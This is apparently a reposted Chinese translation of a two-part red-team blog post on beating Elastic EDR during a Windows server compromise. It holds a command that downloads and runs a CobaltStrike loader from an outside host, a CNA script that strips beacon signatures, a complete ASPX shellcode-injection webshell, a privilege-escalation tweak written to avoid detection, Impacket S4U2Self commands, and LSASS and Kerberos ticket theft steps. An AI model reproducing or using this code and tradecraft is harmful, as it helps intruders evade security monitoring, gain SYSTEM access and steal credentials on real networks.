第1部分
在最近的一次评估中,我和我的队友的任务是对多个应用程序进行网络安全审查,如果有机会,还可以进行内部渗透测试。
在其中一个应用程序上,我们成功上传了一个执行Windows cmd的aspx webshell,这种参与并不要求我们保密。
这篇博文的目的是重现我们通过 Elastic EDR 监视我们所做的事情。
Web RCE
我们下载了CobaltStrike加载程序并执行它
curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=powershell wget http://xxxx.com/load.exe -outfile C:\Windows\Temp\load.exe'curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=C:\Windows\Temp\load.exe'
我们找回了信标
如果我们查看Elastic EDR中的警报,我们可以发现我们的噪音非常大。
-
Web Shell Detection: Script Process Child of Common Web Processes 因为IIS进程w3wp.exe产生了cmd.exe
- Malicious Behavior Detection Alert: Suspicious Microsoft IIS Worker Descendant 因为IIS进程的w3wp.exe产生cmd.exe表明Web服务器已被破坏
- Remote File Download via PowerShell因为wgetPowershell 命令下载我们的加载程序
- Memory Threat Detection Alert: Windows.Trojan.CobaltStrike 因为Elastic EDR Yara规则在内存中标记了我们的信标
- Malicious Behavior Detection Alert: Network Module Loaded from Suspicious Unbacked Memory 由于我们的信标存储在无支持的内存中,Elastic EDR捕获了来自此可疑区域的API调用
我们利用的下一步是将我们的权限从本地服务帐户升级到本地管理员。
我们可以通过两种不同的方式来做到这一点:
滥用SeImpersonatePrivilege权限升级到SYSTEM(我们在参与过程中使用了这种方式)滥用KerberosS4U2Self为具有本地管理员权限的域用户生成服务票据
EoP – SeImpersonatePrivilege
我们使用GodPotato来利用SeImpersonatePrivilege
execute-assembly /home/user/Tools/Windows/GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\load.exe"
我们恢复了系统信标。![]()
最后的操作引发了以下警报:
- Malicious Behavior Detection Alert: Microsoft Common Language Runtime Loaded from Suspicious Memory 因为CLR.dll已被利用后临时进程加载
- Malicious Behavior Detection Alert: AMSI or WLDP Bypass via Memory Patching CobaltStrike AMSI 补丁已被标记
LSASS dump
获得系统权限后,我们启动内置的mimikatz命令来从LSASS转储凭据。
这引起了警报:
-
LSASS Process Access via Windows API
- Memory Threat Detection Alert: Windows.Hacktool.Mimikatz
- LSASS Access Attempt from Unbacked Memory

结论
正如我们所看到的,在攻击路径的不同阶段有很多机会检测我们的行为:
- 执行webshell
-
通过execute- assembly执行.NET程序集
-
LSASS转储
在下一部分中,我将再次完成每个步骤,但要考虑到检测
第2部分
回顾
在一次交战中,我和我的队友通过上传Webshell破坏了Windows服务器,然后将我们的权限提升到SYSTEM并提取了存储在LSASS中的凭据。
- 第1部分中,我在实验室中重演了运行Elastic EDR代理的场景,我们注意到出现了很多检测。
- 第2部分中,我将展示如何通过使用开源工具和构建我们自己的工具来增强我们的隐形能力。
CobaltStrike修改
为了逃避Elastic EDR yara规则,我遵循了以下Fortra博客文章。
https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature
当您了解Yara规则时,很容易规避它们……可以在此处找到Elastic EDR规则。
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar
我使用xforcered/BokuLoader(10 月以上版本)来增强Cobalt Strike信标的规避能力。此版本包含调用堆栈欺骗功能,可绕过基于调用堆栈分析的Elastic EDR规则,您可以在这里了解更多信息。
https://github.com/xforcered/BokuLoaderhttps://dtsec.us/2023-09-15-StackSpoofin/
在Cobalt Strike中包含用户定义的反射加载器之后,我对进行了以下更改以bokuloader.cna绕过Elastic EDR yara规则:
sub boku_strrep { local('$beacon_dll'); $beacon_dll = $1; $beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "__BokuLo4d3r____"); $beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "13367321236742382543232341241261363163151d"); $beacon_dll = strrep($beacon_dll, "(admin)", "(2omin)"); $beacon_dll = strrep($beacon_dll, "beacon", "b4con5"); $beacon_dll = strrep($beacon_dll, "%s as %s\\%s: %d", "%s -> %s\\%s: %d"); $beacon_dll = strrep($beacon_dll, "%02d/%02d/%02d %02d:%02d:%02d", "%02d/%02d/%02d>%02d:%02d:%02d"); $beacon_dll = strrep($beacon_dll, "This program cannot be run in DOS mode", "13367321236742383543232341221261363163"); println("DEBUG - change DOS stub"); $beacon_dll = strrep($beacon_dll, "\x4D\x5A\x41\x52\x55\x48\x89\xE5", "\x4D\x5A\x41\x52\x55\x48\x89\xE5\x90"); return $beacon_dll;}
此时,Elastic EDR 不应将 Cobalt Strike Reflective DLL 检测为Windows.Trojan.CobaltStrike.
但是,如果检测到恶意行为,Elastic EDR仍会发出警报:
-
从无支持的内存访问 LSASS 进程
- 从无支持的内存加载 DLL
- ……
现在我们有了一个更加隐蔽的信标,我们可以开始攻击Windows服务器了。
Webshell
由于目标是正确访问Windows计算机,因此我将尝试在不执行操作系统命令的情况下获取 CobaltStrike 信标。
为此,我制作了一个C#网页,它将Cobalt Strike信标注入当前IIS进程w3wp.exe
<%@ Page Language="c#"%><%@ Import Namespace="System" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.Threading.Tasks" %><%@ Import Namespace="System.Runtime.InteropServices" %><%@ Import Namespace="System.Collections.Generic" %><%@ Import Namespace="System.Linq" %><%@ Import Namespace="System.Text" %><%@ Import Namespace="System.Runtime.InteropServices" %> <script runat="server"> /* Flags and functions import ... */ public string ServerSideFunction() { byte[] data = new byte[REPLACE_ME] { REPLACE_ME }; IntPtr pHandle = (IntPtr)(-1); if (pHandle == IntPtr.Zero) return "OpenProcess failed " + Marshal.GetLastWin32Error(); IntPtr addr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)data.Length, AllocationType.Commit, AllocationProtect.PAGE_READONLY); if (addr == IntPtr.Zero) return "VirtualAllocEx failed"; uint lpflOldProtect = 0; bool res = false; res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000004, out lpflOldProtect); if (res == false) return "VirtualProtectEx RW failed"; IntPtr sc = Marshal.AllocHGlobal(data.Length); if (sc == IntPtr.Zero) return "AllocHGlobal failed"; RtlZeroMemory(sc, data.Length); UInt32 getsize = 0; NTSTATUS ntstatus = NtWriteVirtualMemory(pHandle, addr, data, (uint)data.Length, ref getsize); if (getsize == 0) return "NtWriteVirtualMemory failed"; res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000020, out lpflOldProtect); if (res == false) return "VirtualProtectEx RX failed"; IntPtr Thread_id = IntPtr.Zero; IntPtr tHandle = CreateRemoteThread( pHandle, IntPtr.Zero, 0, (IntPtr)0xfff, IntPtr.Zero, (uint)CreationFlags.CREATE_SUSPENDED, out Thread_id); QueueUserAPC(addr, tHandle, 0); ResumeThread(tHandle); CloseHandle(pHandle); CloseHandle(tHandle); return "OK"; }</script> "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /><title>ASP.NET inline</title></head><body><% =ServerSideFunction() %></body></html>
其作用是:
-
获取当前进程的句柄
- 在进程中分配RW内存
- 将信标写入该内存区域
- 将内存权限更改为RX
- 通过APC调用信标
当页面被调用时,我们得到了信标。
在这一步中,我从Elastic EDR获得了零检测。
权限提升
现在我们有一个信标作为本地服务帐户,我们可能想要升级我们的权限以转储一些凭据。
我知道有两种执行权限升级的方法:
SeImpersonateToken利用Potato家族漏洞滥用特权滥用S4U2SelfKerberos代表具有本地管理员权限的域用户伪造服务票据
两种方法都可以使用:
- Potato利用触发系统调用并模拟本地帐户 – 这可能会被检测到(不知道有些AV/EDR有没有这方面的检测规则 我最近注意到Elastic EDR有这方面的规则)。此方法适用于未加入域和已加入域的Windows计算机。
- S4USelf方法非常隐蔽,因为它只使用Kerberos,但它在未加入域的计算机中不可用,并且我们可能需要启用PSRemoting/WinRM,因为我们不想使用 psexec/smbexec/wmiexec/…,这会引发安全警报。
实际上,当域控制器上未强制执行LDAP签名(默认配置)时,存在一种通用的权限升级路径,但我稍后将专门撰写一篇博客文章来讨论这一点。
权限升级 – SeImpersonatePrivilege
几个月前,Prepouce/CoercedPotato发布了。CoercedPotato是一个C++程序,与其他Potato漏洞一样,它生成一个命名管道(通过RPC接口)来接收SYSTEM身份验证并模拟它。为了强制进行SYSTEM身份验证,CoercedPotato使用MS-EFSR和MS-RPRN函数。
https://github.com/Prepouce/CoercedPotato
由于我们不想在磁盘上放置和执行任何内容,因此我将CoercedPotato分叉并“转换”为反射DLL,您可以在之前的博客文章中阅读相关内容。
https://github.com/sokaRepo/CoercedPotatoRDLLhttps://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html
当我测试 Reflective DLL 时,我惊讶地发现 Elastic EDR 最近添加了一个恶意行为检测规则,而该规则在一两个月前还不存在…… =)
我认为检测可能基于:
-
使用已知的“恶意”功能CreateProcessAsUser/CreateProcessWithTokenW
- 行为:作为本地服务运行的进程会生成一个SYSTEM进程
如果我们看看CreateProcessAsUserIDA正在做什么:
该函数只是将参数转发给CreateProcessInternalWfrom KernelBase.dll,我们可以在CoercedPotatoRDLL代码中使用它:
typedef BOOL(WINAPI* fnCreateProcessInternalW)( HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); fnCreateProcessInternalW CreateProcessInternalW; CreateProcessInternalW = (fnCreateProcessInternalW)GetProcAddress( GetModuleHandle(L"kernelbase.dll"), "CreateProcessInternalW" ); if (!CreateProcessInternalW(hSystemTokenDup, g_pwszProcessName, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi)) wprintf(L"CreateProcessInternalW failed, error = %d\n", GetLastError());else wprintf(L"CreateProcessInternalW seems OK");
通过这些修改,Elastic EDR不再发出有关权限升级的警报!
权限升级 – S4U2Self
另一种方法是滥用Kerberos本身。作为本地服务帐户,当我们在另一台计算机上使用NTLM 或 Kerberos进行身份验证时,将使用计算机帐户WEB1$。因此,可以使用tgtdeleg技巧代表机器帐户请求委派TGT。
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
一旦我们有了它,我们就可以滥用Kerberos S4U2Self来请求服务票证,该服务票证模拟具有计算机上本地管理员权限的域用户。
不幸的是,我未能仅使用Cobalt Strike成功执行此步骤,因此我在Linux VM上使用了SOCKS代理和Impacket。
echo -n 'ticket...' | base64 -d > web1.kirbi ticketConverter.py web1.kirbi web1.ccache export KRB5CCACHE=web1.ccache git clone https://github.com/ThePorgs/impacket/ install it carreful with SPN name, try lower case and upper case for "HTTP" I skipped the SOCKS proxy part here getST.py -self -impersonate "sadmin" -altservice "HTTP/web1.crash.lab" -k -no-pass -dc-ip 10.100.10.5 'crash.lab/web1$' use this to debug export KRB5_TRACE=/dev/stdout export KRB5CCNAME=sadmin@HTTP_web1.crash.lab@CRASH.LAB.ccache update /etc/krb5.conf if GSS error evil-winrm.rb -i web1.crash.lab -r crash.lab
并以本地管理员身份弹出一个信标。
LSASS 凭证转储
这是棘手的部分……似乎当Credentials hardening启用时,不可能打开LSASS.exe 上的句柄
当我们尝试使用内置Mimikatz命令提取凭据时,无法访问该进程。
如果我们尝试使用nanodump,我们会遇到相同的访问问题。
https://github.com/fortra/nanodump
如果我们关闭Credentials hardening,我们可以成功转储LSASS进程,而不会收到来自Elastic EDR的任何警报。
LSASS 转储的替代方案
或者,我们可以枚举LSA中的TGT并寻找任何感兴趣的用户(sadmin在我的实验室中是一个很好的候选者)。
为了执行以下Keberos交互,我使用Kerbeus-BOF,但也可以使用nanorobeus(Kerbeus-BOF实际上基于nanorobeus)。
https://github.com/RalfHacker/Kerbeus-BOFhttps://github.com/wavvs/nanorobeus/
这里我们转储属于sadmin用户的所有TGT。
如果我们不再有任何有效的TGT,我们可以查找在目标用户下运行的进程。
然后窃取其中一个进程的令牌。
并用它来请求TGT
从这里开始,我们可以代表sadmin用户采取行动并尝试在网络中横向移动。
结论
在第二部分中,我们了解了如何通过使用BokuLoader等出色的开源工具来提高隐秘性并防止Elastic EDR发现我们。为了避免在内存中执行.NET程序集,我们使用了C++工具CoercedPotato并将其修改为反射DLL,以便能够使用Cobalt Strike将其加载到内存中。对于凭证转储,我们可以使用Fortra的nanodump来转储LSASS进程以避免检测。如果我们想避免接触LSASS,我们将展示如何通过窃取Windows令牌来提取或生成 Kerberos票证。
原文地址:
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.htmlhttps://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabili
文章来源:潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END














暂无评论内容